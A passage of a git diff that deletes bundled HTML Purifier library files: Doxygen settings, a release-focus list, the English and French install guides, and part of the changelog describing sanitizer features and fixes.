preprocessor -#--------------------------------------------------------------------------- - -# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will -# evaluate all C-preprocessor directives found in the sources and include -# files. - -ENABLE_PREPROCESSING = YES - -# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro -# names in the source code. If set to NO (the default) only conditional -# compilation will be performed. Macro expansion can be done in a controlled -# way by setting EXPAND_ONLY_PREDEF to YES. - -MACRO_EXPANSION = NO - -# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES -# then the macro expansion is limited to the macros specified with the -# PREDEFINED and EXPAND_AS_DEFINED tags. - -EXPAND_ONLY_PREDEF = NO - -# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files -# in the INCLUDE_PATH (see below) will be search if a #include is found. - -SEARCH_INCLUDES = YES - -# The INCLUDE_PATH tag can be used to specify one or more directories that -# contain include files that are not input files but should be processed by -# the preprocessor. - -INCLUDE_PATH = - -# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard -# patterns (like *.h and *.hpp) to filter out the header-files in the -# directories. If left blank, the patterns specified with FILE_PATTERNS will -# be used. - -INCLUDE_FILE_PATTERNS = - -# The PREDEFINED tag can be used to specify one or more macro names that -# are defined before the preprocessor is started (similar to the -D option of -# gcc). The argument of the tag is a list of macros of the form: name -# or name=definition (no spaces). If the definition and the = are -# omitted =1 is assumed. To prevent a macro definition from being -# undefined via #undef or recursively expanded use the := operator -# instead of the = operator. - -PREDEFINED = - -# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then -# this tag can be used to specify a list of macro names that should be expanded. -# The macro definition that is found in the sources will be used. -# Use the PREDEFINED tag if you want to use a different macro definition. - -EXPAND_AS_DEFINED = - -# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then -# doxygen's preprocessor will remove all function-like macros that are alone -# on a line, have an all uppercase name, and do not end with a semicolon. Such -# function macros are typically used for boiler-plate code, and will confuse -# the parser if not removed. - -SKIP_FUNCTION_MACROS = YES - -#--------------------------------------------------------------------------- -# Configuration::additions related to external references -#--------------------------------------------------------------------------- - -# The TAGFILES option can be used to specify one or more tagfiles. -# Optionally an initial location of the external documentation -# can be added for each tagfile. The format of a tag file without -# this location is as follows: -# TAGFILES = file1 file2 ... -# Adding location for the tag files is done as follows: -# TAGFILES = file1=loc1 "file2 = loc2" ... -# where "loc1" and "loc2" can be relative or absolute paths or -# URLs. If a location is present for each tag, the installdox tool -# does not have to be run to correct the links. -# Note that each tag file must have a unique name -# (where the name does NOT include the path) -# If a tag file is not located in the directory in which doxygen -# is run, you must also specify the path to the tagfile here. - -TAGFILES = - -# When a file name is specified after GENERATE_TAGFILE, doxygen will create -# a tag file that is based on the input files it reads. - -GENERATE_TAGFILE = - -# If the ALLEXTERNALS tag is set to YES all external classes will be listed -# in the class index. If set to NO only the inherited external classes -# will be listed. - -ALLEXTERNALS = NO - -# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed -# in the modules index. If set to NO, only the current project's groups will -# be listed. - -EXTERNAL_GROUPS = YES - -# The PERL_PATH should be the absolute path and name of the perl script -# interpreter (i.e. the result of `which perl'). - -PERL_PATH = /usr/bin/perl - -#--------------------------------------------------------------------------- -# Configuration options related to the dot tool -#--------------------------------------------------------------------------- - -# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will -# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base -# or super classes. Setting the tag to NO turns the diagrams off. Note that -# this option is superseded by the HAVE_DOT option below. This is only a -# fallback. It is recommended to install and use dot, since it yields more -# powerful graphs. - -CLASS_DIAGRAMS = YES - -# You can define message sequence charts within doxygen comments using the \msc -# command. Doxygen will then run the mscgen tool (see http://www.mcternan.me.uk/mscgen/) to -# produce the chart and insert it in the documentation. The MSCGEN_PATH tag allows you to -# specify the directory where the mscgen tool resides. If left empty the tool is assumed to -# be found in the default search path. - -MSCGEN_PATH = - -# If set to YES, the inheritance and collaboration graphs will hide -# inheritance and usage relations if the target is undocumented -# or is not a class. - -HIDE_UNDOC_RELATIONS = YES - -# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is -# available from the path. This tool is part of Graphviz, a graph visualization -# toolkit from AT&T and Lucent Bell Labs. The other options in this section -# have no effect if this option is set to NO (the default) - -HAVE_DOT = NO - -# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for each documented class showing the direct and -# indirect inheritance relations. Setting this tag to YES will force the -# the CLASS_DIAGRAMS tag to NO. - -CLASS_GRAPH = YES - -# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for each documented class showing the direct and -# indirect implementation dependencies (inheritance, containment, and -# class references variables) of the class with other documented classes. - -COLLABORATION_GRAPH = YES - -# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen -# will generate a graph for groups, showing the direct groups dependencies - -GROUP_GRAPHS = YES - -# If the UML_LOOK tag is set to YES doxygen will generate inheritance and -# collaboration diagrams in a style similar to the OMG's Unified Modeling -# Language. - -UML_LOOK = NO - -# If set to YES, the inheritance and collaboration graphs will show the -# relations between templates and their instances. - -TEMPLATE_RELATIONS = NO - -# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT -# tags are set to YES then doxygen will generate a graph for each documented -# file showing the direct and indirect include dependencies of the file with -# other documented files. - -INCLUDE_GRAPH = YES - -# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and -# HAVE_DOT tags are set to YES then doxygen will generate a graph for each -# documented header file showing the documented files that directly or -# indirectly include this file. - -INCLUDED_BY_GRAPH = YES - -# If the CALL_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will -# generate a call dependency graph for every global function or class method. -# Note that enabling this option will significantly increase the time of a run. -# So in most cases it will be better to enable call graphs for selected -# functions only using the \callgraph command. - -CALL_GRAPH = NO - -# If the CALLER_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will -# generate a caller dependency graph for every global function or class method. -# Note that enabling this option will significantly increase the time of a run. -# So in most cases it will be better to enable caller graphs for selected -# functions only using the \callergraph command. - -CALLER_GRAPH = NO - -# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen -# will graphical hierarchy of all classes instead of a textual one. - -GRAPHICAL_HIERARCHY = YES - -# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES -# then doxygen will show the dependencies a directory has on other directories -# in a graphical way. The dependency relations are determined by the #include -# relations between the files in the directories. - -DIRECTORY_GRAPH = YES - -# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images -# generated by dot. Possible values are png, jpg, or gif -# If left blank png will be used. - -DOT_IMAGE_FORMAT = png - -# The tag DOT_PATH can be used to specify the path where the dot tool can be -# found. If left blank, it is assumed the dot tool can be found in the path. - -DOT_PATH = - -# The DOTFILE_DIRS tag can be used to specify one or more directories that -# contain dot files that are included in the documentation (see the -# \dotfile command). - -DOTFILE_DIRS = - -# The MAX_DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of -# nodes that will be shown in the graph. If the number of nodes in a graph -# becomes larger than this value, doxygen will truncate the graph, which is -# visualized by representing a node as a red box. Note that doxygen if the number -# of direct children of the root node in a graph is already larger than -# MAX_DOT_GRAPH_NOTES then the graph will not be shown at all. Also note -# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH. - -DOT_GRAPH_MAX_NODES = 50 - -# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the -# graphs generated by dot. A depth value of 3 means that only nodes reachable -# from the root by following a path via at most 3 edges will be shown. Nodes -# that lay further from the root node will be omitted. Note that setting this -# option to 1 or 2 may greatly reduce the computation time needed for large -# code bases. Also note that the size of a graph can be further restricted by -# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction. - -MAX_DOT_GRAPH_DEPTH = 1000 - -# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent -# background. This is disabled by default, which results in a white background. -# Warning: Depending on the platform used, enabling this option may lead to -# badly anti-aliased labels on the edges of a graph (i.e. they become hard to -# read). - -DOT_TRANSPARENT = NO - -# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output -# files in one run (i.e. multiple -o and -T options on the command line). This -# makes dot run faster, but since only newer versions of dot (>1.8.10) -# support this, this feature is disabled by default. - -DOT_MULTI_TARGETS = NO - -# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will -# generate a legend page explaining the meaning of the various boxes and -# arrows in the dot generated graphs. - -GENERATE_LEGEND = YES - -# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will -# remove the intermediate dot files that are used to generate -# the various graphs. - -DOT_CLEANUP = YES - -#--------------------------------------------------------------------------- -# Configuration::additions related to the search engine -#--------------------------------------------------------------------------- - -# The SEARCHENGINE tag specifies whether or not a search engine should be -# used. If set to NO the values of all tags below this one will be ignored. - -SEARCHENGINE = NO - -# vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/FOCUS b/classes/security/htmlpurifier/FOCUS deleted file mode 100644 index bea619bac..000000000 --- a/classes/security/htmlpurifier/FOCUS +++ /dev/null @@ -1,13 +0,0 @@ -8 - Minor security fixes - -[ Appendix A: Release focus IDs ] -0 - N/A -1 - Initial freshmeat announcement -2 - Documentation -3 - Code cleanup -4 - Minor feature enhancements -5 - Major feature enhancements -6 - Minor bugfixes -7 - Major bugfixes -8 - Minor security fixes -9 - Major security fixes diff --git a/classes/security/htmlpurifier/INSTALL b/classes/security/htmlpurifier/INSTALL deleted file mode 100644 index 677c04aa0..000000000 --- a/classes/security/htmlpurifier/INSTALL +++ /dev/null @@ -1,374 +0,0 @@ - -Install - How to install HTML Purifier - -HTML Purifier is designed to run out of the box, so actually using the -library is extremely easy. (Although... if you were looking for a -step-by-step installation GUI, you've downloaded the wrong software!) - -While the impatient can get going immediately with some of the sample -code at the bottom of this library, it's well worth reading this entire -document--most of the other documentation assumes that you are familiar -with these contents. - - ---------------------------------------------------------------------------- -1. Compatibility - -HTML Purifier is PHP 5 only, and is actively tested from PHP 5.0.5 and -up. It has no core dependencies with other libraries. PHP -4 support was deprecated on December 31, 2007 with HTML Purifier 3.0.0. -HTML Purifier is not compatible with zend.ze1_compatibility_mode. - -These optional extensions can enhance the capabilities of HTML Purifier: - - * iconv : Converts text to and from non-UTF-8 encodings - * bcmath : Used for unit conversion and imagecrash protection - * tidy : Used for pretty-printing HTML - -These optional libraries can enhance the capabilities of HTML Purifier: - - * CSSTidy : Clean CSS stylesheets using %Core.ExtractStyleBlocks - * Net_IDNA2 (PEAR) : IRI support using %Core.EnableIDNA - ---------------------------------------------------------------------------- -2. Reconnaissance - -A big plus of HTML Purifier is its inerrant support of standards, so -your web-pages should be standards-compliant. (They should also use -semantic markup, but that's another issue altogether, one HTML Purifier -cannot fix without reading your mind.) - -HTML Purifier can process these doctypes: - -* XHTML 1.0 Transitional (default) -* XHTML 1.0 Strict -* HTML 4.01 Transitional -* HTML 4.01 Strict -* XHTML 1.1 - -...and these character encodings: - -* UTF-8 (default) -* Any encoding iconv supports (with crippled internationalization support) - -These defaults reflect what my choices would be if I were authoring an -HTML document, however, what you choose depends on the nature of your -codebase. If you don't know what doctype you are using, you can determine -the doctype from this identifier at the top of your source code: - - - -...and the character encoding from this code: - - - -If the character encoding declaration is missing, STOP NOW, and -read 'docs/enduser-utf8.html' (web accessible at -http://htmlpurifier.org/docs/enduser-utf8.html). In fact, even if it is -present, read this document anyway, as many websites specify their -document's character encoding incorrectly. - - ---------------------------------------------------------------------------- -3. Including the library - -The procedure is quite simple: - - require_once '/path/to/library/HTMLPurifier.auto.php'; - -This will setup an autoloader, so the library's files are only included -when you use them. - -Only the contents in the library/ folder are necessary, so you can remove -everything else when using HTML Purifier in a production environment. - -If you installed HTML Purifier via PEAR, all you need to do is: - - require_once 'HTMLPurifier.auto.php'; - -Please note that the usual PEAR practice of including just the classes you -want will not work with HTML Purifier's autoloading scheme. - -Advanced users, read on; other users can skip to section 4. - -Autoload compatibility ----------------------- - - HTML Purifier attempts to be as smart as possible when registering an - autoloader, but there are some cases where you will need to change - your own code to accomodate HTML Purifier. These are those cases: - - PHP VERSION IS LESS THAN 5.1.2, AND YOU'VE DEFINED __autoload - Because spl_autoload_register() doesn't exist in early versions - of PHP 5, HTML Purifier has no way of adding itself to the autoload - stack. Modify your __autoload function to test - HTMLPurifier_Bootstrap::autoload($class) - - For example, suppose your autoload function looks like this: - - function __autoload($class) { - require str_replace('_', '/', $class) . '.php'; - return true; - } - - A modified version with HTML Purifier would look like this: - - function __autoload($class) { - if (HTMLPurifier_Bootstrap::autoload($class)) return true; - require str_replace('_', '/', $class) . '.php'; - return true; - } - - Note that there *is* some custom behavior in our autoloader; the - original autoloader in our example would work for 99% of the time, - but would fail when including language files. - - AN __autoload FUNCTION IS DECLARED AFTER OUR AUTOLOADER IS REGISTERED - spl_autoload_register() has the curious behavior of disabling - the existing __autoload() handler. Users need to explicitly - spl_autoload_register('__autoload'). Because we use SPL when it - is available, __autoload() will ALWAYS be disabled. If __autoload() - is declared before HTML Purifier is loaded, this is not a problem: - HTML Purifier will register the function for you. But if it is - declared afterwards, it will mysteriously not work. This - snippet of code (after your autoloader is defined) will fix it: - - spl_autoload_register('__autoload') - - Users should also be on guard if they use a version of PHP previous - to 5.1.2 without an autoloader--HTML Purifier will define __autoload() - for you, which can collide with an autoloader that was added by *you* - later. - - -For better performance ----------------------- - - Opcode caches, which greatly speed up PHP initialization for scripts - with large amounts of code (HTML Purifier included), don't like - autoloaders. We offer an include file that includes all of HTML Purifier's - files in one go in an opcode cache friendly manner: - - // If /path/to/library isn't already in your include path, uncomment - // the below line: - // require '/path/to/library/HTMLPurifier.path.php'; - - require 'HTMLPurifier.includes.php'; - - Optional components still need to be included--you'll know if you try to - use a feature and you get a class doesn't exists error! The autoloader - can be used in conjunction with this approach to catch classes that are - missing. Simply add this afterwards: - - require 'HTMLPurifier.autoload.php'; - -Standalone version ------------------- - - HTML Purifier has a standalone distribution; you can also generate - a standalone file from the full version by running the script - maintenance/generate-standalone.php . The standalone version has the - benefit of having most of its code in one file, so parsing is much - faster and the library is easier to manage. - - If HTMLPurifier.standalone.php exists in the library directory, you - can use it like this: - - require '/path/to/HTMLPurifier.standalone.php'; - - This is equivalent to including HTMLPurifier.includes.php, except that - the contents of standalone/ will be added to your path. To override this - behavior, specify a new HTMLPURIFIER_PREFIX where standalone files can - be found (usually, this will be one directory up, the "true" library - directory in full distributions). Don't forget to set your path too! - - The autoloader can be added to the end to ensure the classes are - loaded when necessary; otherwise you can manually include them. - To use the autoloader, use this: - - require 'HTMLPurifier.autoload.php'; - -For advanced users ------------------- - - HTMLPurifier.auto.php performs a number of operations that can be done - individually. These are: - - HTMLPurifier.path.php - Puts /path/to/library in the include path. For high performance, - this should be done in php.ini. - - HTMLPurifier.autoload.php - Registers our autoload handler HTMLPurifier_Bootstrap::autoload($class). - - You can do these operations by yourself--in fact, you must modify your own - autoload handler if you are using a version of PHP earlier than PHP 5.1.2 - (See "Autoload compatibility" above). - - ---------------------------------------------------------------------------- -4. Configuration - -HTML Purifier is designed to run out-of-the-box, but occasionally HTML -Purifier needs to be told what to do. If you answer no to any of these -questions, read on; otherwise, you can skip to the next section (or, if you're -into configuring things just for the heck of it, skip to 4.3). - -* Am I using UTF-8? -* Am I using XHTML 1.0 Transitional? - -If you answered no to any of these questions, instantiate a configuration -object and read on: - - $config = HTMLPurifier_Config::createDefault(); - - -4.1. Setting a different character encoding - -You really shouldn't use any other encoding except UTF-8, especially if you -plan to support multilingual websites (read section three for more details). -However, switching to UTF-8 is not always immediately feasible, so we can -adapt. - -HTML Purifier uses iconv to support other character encodings, as such, -any encoding that iconv supports -HTML Purifier supports with this code: - - $config->set('Core.Encoding', /* put your encoding here */); - -An example usage for Latin-1 websites (the most common encoding for English -websites): - - $config->set('Core.Encoding', 'ISO-8859-1'); - -Note that HTML Purifier's support for non-Unicode encodings is crippled by the -fact that any character not supported by that encoding will be silently -dropped, EVEN if it is ampersand escaped. If you want to work around -this, you are welcome to read docs/enduser-utf8.html for a fix, -but please be cognizant of the issues the "solution" creates (for this -reason, I do not include the solution in this document). - - -4.2. Setting a different doctype - -For those of you using HTML 4.01 Transitional, you can disable -XHTML output like this: - - $config->set('HTML.Doctype', 'HTML 4.01 Transitional'); - -Other supported doctypes include: - - * HTML 4.01 Strict - * HTML 4.01 Transitional - * XHTML 1.0 Strict - * XHTML 1.0 Transitional - * XHTML 1.1 - - -4.3. Other settings - -There are more configuration directives which can be read about -here: They're a bit boring, -but they can help out for those of you who like to exert maximum control over -your code. Some of the more interesting ones are configurable at the -demo and are well worth looking into -for your own system. - -For example, you can fine tune allowed elements and attributes, convert -relative URLs to absolute ones, and even autoparagraph input text! These -are, respectively, %HTML.Allowed, %URI.MakeAbsolute and %URI.Base, and -%AutoFormat.AutoParagraph. The %Namespace.Directive naming convention -translates to: - - $config->set('Namespace.Directive', $value); - -E.g. - - $config->set('HTML.Allowed', 'p,b,a[href],i'); - $config->set('URI.Base', 'http://www.example.com'); - $config->set('URI.MakeAbsolute', true); - $config->set('AutoFormat.AutoParagraph', true); - - ---------------------------------------------------------------------------- -5. Caching - -HTML Purifier generates some cache files (generally one or two) to speed up -its execution. For maximum performance, make sure that -library/HTMLPurifier/DefinitionCache/Serializer is writeable by the webserver. - -If you are in the library/ folder of HTML Purifier, you can set the -appropriate permissions using: - - chmod -R 0755 HTMLPurifier/DefinitionCache/Serializer - -If the above command doesn't work, you may need to assign write permissions -to all. This may be necessary if your webserver runs as nobody, but is -not recommended since it means any other user can write files in the -directory. Use: - - chmod -R 0777 HTMLPurifier/DefinitionCache/Serializer - -You can also chmod files via your FTP client; this option -is usually accessible by right clicking the corresponding directory and -then selecting "chmod" or "file permissions". - -Starting with 2.0.1, HTML Purifier will generate friendly error messages -that will tell you exactly what you have to chmod the directory to, if in doubt, -follow its advice. - -If you are unable or unwilling to give write permissions to the cache -directory, you can either disable the cache (and suffer a performance -hit): - - $config->set('Core.DefinitionCache', null); - -Or move the cache directory somewhere else (no trailing slash): - - $config->set('Cache.SerializerPath', '/home/user/absolute/path'); - - ---------------------------------------------------------------------------- -6. Using the code - -The interface is mind-numbingly simple: - - $purifier = new HTMLPurifier($config); - $clean_html = $purifier->purify( $dirty_html ); - -That's it! For more examples, check out docs/examples/ (they aren't very -different though). Also, docs/enduser-slow.html gives advice on what to -do if HTML Purifier is slowing down your application. - - ---------------------------------------------------------------------------- -7. Quick install - -First, make sure library/HTMLPurifier/DefinitionCache/Serializer is -writable by the webserver (see Section 5: Caching above for details). -If your website is in UTF-8 and XHTML Transitional, use this code: - -purify($dirty_html); -?> - -If your website is in a different encoding or doctype, use this code: - -set('Core.Encoding', 'ISO-8859-1'); // replace with your encoding - $config->set('HTML.Doctype', 'HTML 4.01 Transitional'); // replace with your doctype - $purifier = new HTMLPurifier($config); - - $clean_html = $purifier->purify($dirty_html); -?> - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/INSTALL.fr.utf8 b/classes/security/htmlpurifier/INSTALL.fr.utf8 deleted file mode 100644 index 9c533853b..000000000 --- a/classes/security/htmlpurifier/INSTALL.fr.utf8 +++ /dev/null @@ -1,69 +0,0 @@ - -Installation - Comment installer HTML Purifier - -Attention: Ce document a encode en UTF-8. Si les lettres avec les accents -est essoreuse, prenez un mieux editeur de texte. - -À L'Aide: Je ne suis pas un diseur natif de français. Si vous trouvez une -erreur dans ce document, racontez-moi! Merci. - - -L'installation de HTML Purifier est trés simple, parce qu'il ne doit pas -la configuration. Dans le pied de de document, les utilisateurs -impatient peuvent trouver le code, mais je recommande que vous lisez -ce document pour quelques choses. - - -1. Compatibilité - -HTML Purifier fonctionne dans PHP 5. PHP 5.0.5 est le dernier -version que je le testais. Il ne dépend de les autre librairies. - -Les extensions optionnel est iconv (en général déjà installer) et -tidy (répandu aussi). Si vous utilisez UTF-8 et ne voulez pas -l'indentation, vous pouvez utiliser HTML Purifier sans ces extensions. - - -2. Inclure la librarie - -Utilisez: - - require_once '/path/to/library/HTMLPurifier.auto.php'; - -...quand vous devez utiliser HTML Purifier (ne inclure pas quand vous -ne devez pas, parce que HTML Purifier est trés grand.) - -HTML Purifier utilise 'autoload'. Si vous avez définu la fonction -__autoload, vous doivez ajoute cet programme: - - spl_autoload_register('__autoload') - -Plus d'information est dans le document 'INSTALL'. - - -3. Installation vite - -Si votre site web est en UTF-8 et XHTML Transitional, utilisez: - -purify($html_salle); -?> - -Sinon, utilisez: - -set('Core', 'Encoding', 'ISO-8859-1'); //remplacez avec votre encoding - $config->set('Core', 'XHTML', true); //remplacez avec false si HTML 4.01 - $purificateur = new HTMLPurifier($config); - - $html_propre = $purificateur->purify($html_salle); -?> - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/NEWS b/classes/security/htmlpurifier/NEWS deleted file mode 100644 index e8a07a979..000000000 --- a/classes/security/htmlpurifier/NEWS +++ /dev/null @@ -1,1032 +0,0 @@ -NEWS ( CHANGELOG and HISTORY ) HTMLPurifier -||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| - -= KEY ==================== - # Breaks back-compat - ! Feature - - Bugfix - + Sub-comment - . Internal change -========================== - -4.4.0, released 2012-01-18 -# Removed PEARSax3 handler. -# URI.Munge now munges URIs inside the same host that go from https - to http. Reported by Neike Taika-Tessaro. -# Core.EscapeNonASCIICharacters now always transforms entities to - entities, even if target encoding is UTF-8. -# Tighten up selector validation in ExtractStyleBlocks. - Non-syntactically valid selectors are now rejected, along with - some of the more obscure ones such as attribute selectors, the - :lang pseudoselector, and anything not in CSS2.1. Furthermore, - ID and class selectors now work properly with the relevant - configuration attributes. Also, mute errors when parsing CSS - with CSS Tidy. -! Added support for 'scope' attribute on tables. -! Added %HTML.TargetBlank, which adds target="blank" to all outgoing links. -! Properly handle sub-lists directly nested inside of lists in - a standards compliant way, by moving them into the preceding
  • -! Added %HTML.AllowedComments and %HTML.AllowedCommentsRegexp for - limited allowed comments in untrusted situations. -! Implement iframes, and allow them to be used in untrusted mode with - %HTML.SafeIframe and %URI.SafeIframeRegexp. Thanks Bradley M. Froehle - for submitting an initial version of the patch. -! The Forms module now works properly for transitional doctypes. -! Added support for internationalized domain names. You need the PEAR - Net_IDNA2 module to be in your path; if it is installed, ensure the - class can be loaded and then set %Core.EnableIDNA to true. -- Color keywords are now case insensitive. Thanks Yzmir Ramirez - for reporting. -- Explicitly initialize anonModule variable to null. -- Do not duplicate nofollow if already present. Thanks 178 - for reporting. -- Do not add nofollow if hostname matches our current host. Thanks 178 - for reporting, and Neike Taika-Tessaro for helping diagnose. -- Do not unset parser variable; this fixes intermittent serialization - problems. Thanks Neike Taika-Tessaro for reporting, bill - <10010tiger@gmail.com> for diagnosing. -- Fix iconv truncation bug, where non-UTF-8 target encodings see - output truncated after around 8000 characters. Thanks Jörg Ludwig - for reporting. -- Fix broken table content model for XHTML1.1 (and also earlier - versions, although the W3C validator doesn't catch those violations). - Thanks GlitchMr for reporting. - -4.3.0, released 2011-03-27 -# Fixed broken caching of customized raw definitions, but requires an - API change. The old API still works but will emit a warning, - see http://htmlpurifier.org/docs/enduser-customize.html#optimized - for how to upgrade your code. -# Protect against Internet Explorer innerHTML behavior by specially - treating attributes with backticks but no angled brackets, quotes or - spaces. This constitutes a slight semantic change, which can be - reverted using %Output.FixInnerHTML. Reported by Neike Taika-Tessaro - and Mario Heiderich. -# Protect against cssText/innerHTML by restricting allowed characters - used in fonts further than mandated by the specification and encoding - some extra special characters in URLs. Reported by Neike - Taika-Tessaro and Mario Heiderich. -! Added %HTML.Nofollow to add rel="nofollow" to external links. -! More types of SPL autoloaders allowed on later versions of PHP. -! Implementations for position, top, left, right, bottom, z-index - when %CSS.Trusted is on. -! Add %Cache.SerializerPermissions option for custom serializer - directory/file permissions -! Fix longstanding bug in Flash support for non-IE browsers, and - allow more wmode attributes. -! Add %CSS.AllowedFonts to restrict permissible font names. -- Switch to an iterative traversal of the DOM, which prevents us - from running out of stack space for deeply nested documents. - Thanks Maxim Krizhanovsky for contributing a patch. -- Make removal of conditional IE comments ungreedy; thanks Bernd - for reporting. -- Escape CDATA before removing Internet Explorer comments. -- Fix removal of id attributes under certain conditions by ensuring - armor attributes are preserved when recreating tags. -- Check if schema.ser was corrupted. -- Check if zend.ze1_compatibility_mode is on, and error out if it is. - This safety check is only done for HTMLPurifier.auto.php; if you - are using standalone or the specialized includes files, you're - expected to know what you're doing. -- Stop repeatedly writing the cache file after I'm done customizing a - raw definition. Reported by ajh. -- Switch to using require_once in the Bootstrap to work around bad - interaction with Zend Debugger and APC. Reported by Antonio Parraga. -- Fix URI handling when hostname is missing but scheme is present. - Reported by Neike Taika-Tessaro. -- Fix missing numeric entities on DirectLex; thanks Neike Taika-Tessaro - for reporting. -- Fix harmless notice from indexing into empty string. Thanks Matthijs - Kooijman for reporting. -- Don't autoclose no parent elements are able to support the element - that triggered the autoclose. In particular fixes strange behavior - of stray
  • tags. Thanks pkuliga@gmail.com for reporting and - Neike Taika-Tessaro for debugging assistance. - -4.2.0, released 2010-09-15 -! Added %Core.RemoveProcessingInstructions, which lets you remove - statements. -! Added %URI.DisableResources functionality; the directive originally - did nothing. Thanks David Rothstein for reporting. -! Add documentation about configuration directive types. -! Add %CSS.ForbiddenProperties configuration directive. -! Add %HTML.FlashAllowFullScreen to permit embedded Flash objects - to utilize full-screen mode. -! Add optional support for the file URI scheme, enable - by explicitly setting %URI.AllowedSchemes. -! Add %Core.NormalizeNewlines options to allow turning off newline - normalization. -- Fix improper handling of Internet Explorer conditional comments - by parser. Thanks zmonteca for reporting. -- Fix missing attributes bug when running on Mac Snow Leopard and APC. - Thanks sidepodcast for the fix. -- Warn if an element is allowed, but an attribute it requires is - not allowed. - -4.1.1, released 2010-05-31 -- Fix undefined index warnings in maintenance scripts. -- Fix bug in DirectLex for parsing elements with a single attribute - with entities. -- Rewrite CSS output logic for font-family and url(). Thanks Mario - Heiderich for reporting and Takeshi - Terada for suggesting the fix. -- Emit an error for CollectErrors if a body is extracted -- Fix bug where in background-position for center keyword handling. -- Fix infinite loop when a wrapper element is inserted in a context - where it's not allowed. Thanks Lars for reporting. -- Remove +x bit and shebang from index.php; only supported mode is to - explicitly call it with php. -- Make test script less chatty when log_errors is on. - -4.1.0, released 2010-04-26 -! Support proprietary height attribute on table element -! Support YouTube slideshows that contain /cp/ in their URL. -! Support for data: URI scheme; not enabled by default, add it using - %URI.AllowedSchemes -! Support flashvars when using %HTML.SafeObject and %HTML.SafeEmbed. -! Support for Internet Explorer compatibility with %HTML.SafeObject - using %Output.FlashCompat. -! Handle
        properly, by inserting the necessary
      1. tag. -- Always quote the insides of url(...) in CSS. - -4.0.0, released 2009-07-07 -# APIs for ConfigSchema subsystem have substantially changed. See - docs/dev-config-bcbreaks.txt for details; in essence, anything that - had both namespace and directive now have a single unified key. -# Some configuration directives were renamed, specifically: - %AutoFormatParam.PurifierLinkifyDocURL -> %AutoFormat.PurifierLinkify.DocURL - %FilterParam.ExtractStyleBlocksEscaping -> %Filter.ExtractStyleBlocks.Escaping - %FilterParam.ExtractStyleBlocksScope -> %Filter.ExtractStyleBlocks.Scope - %FilterParam.ExtractStyleBlocksTidyImpl -> %Filter.ExtractStyleBlocks.TidyImpl - As usual, the old directive names will still work, but will throw E_NOTICE - errors. -# The allowed values for class have been relaxed to allow all of CDATA for - doctypes that are not XHTML 1.1 or XHTML 2.0. For old behavior, set - %Attr.ClassUseCDATA to false. -# Instead of appending the content model to an old content model, a blank - element will replace the old content model. You can use #SUPER to get - the old content model. -! More robust support for name="" and id="" -! HTMLPurifier_Config::inherit($config) allows you to inherit one - configuration, and have changes to that configuration be propagated - to all of its children. -! Implement %HTML.Attr.Name.UseCDATA, which relaxes validation rules on - the name attribute when set. Use with care. Thanks Ian Cook for - sponsoring. -! Implement %AutoFormat.RemoveEmpty.RemoveNbsp, which removes empty - tags that contain non-breaking spaces as well other whitespace. You - can also modify which tags should have   maintained with - %AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions. -! Implement %Attr.AllowedClasses, which allows administrators to restrict - classes users can use to a specified finite set of classes, and - %Attr.ForbiddenClasses, which is the logical inverse. -! You can now maintain your own configuration schema directories by - creating a config-schema.php file or passing an extra argument. Check - docs/dev-config-schema.html for more details. -! Added HTMLPurifier_Config->serialize() method, which lets you save away - your configuration in a compact serial file, which you can unserialize - and use directly without having to go through the overhead of setup. -- Fix bug where URIDefinition would not get cleared if it's directives got - changed. -- Fix fatal error in HTMLPurifier_Encoder on certain platforms (probably NetBSD 5.0) -- Fix bug in Linkify autoformatter involving http://foo -- Make %URI.Munge not apply to links that have the same host as your host. -- Prevent stray tag from truncating output, if a second - is present. -. Created script maintenance/rename-config.php for renaming a configuration - directive while maintaining its alias. This script does not change source code. -. Implement namespace locking for definition construction, to prevent - bugs where a directive is used for definition construction but is not - used to construct the cache hash. - -3.3.0, released 2009-02-16 -! Implement CSS property 'overflow' when %CSS.AllowTricky is true. -! Implement generic property list classess -- Fix bug with testEncodingSupportsASCII() algorithm when iconv() implementation - does not do the "right thing" with characters not supported in the output - set. -- Spellcheck UTF-8: The Secret To Character Encoding -- Fix improper removal of the contents of elements with only whitespace. Thanks - Eric Wald for reporting. -- Fix broken test suite in versions of PHP without spl_autoload_register() -- Fix degenerate case with YouTube filter involving double hyphens. - Thanks Pierre Attar for reporting. -- Fix YouTube rendering problem on certain versions of Firefox. -- Fix CSSDefinition Printer problems with decorators -- Add text parameter to unit tests, forces text output -. Add 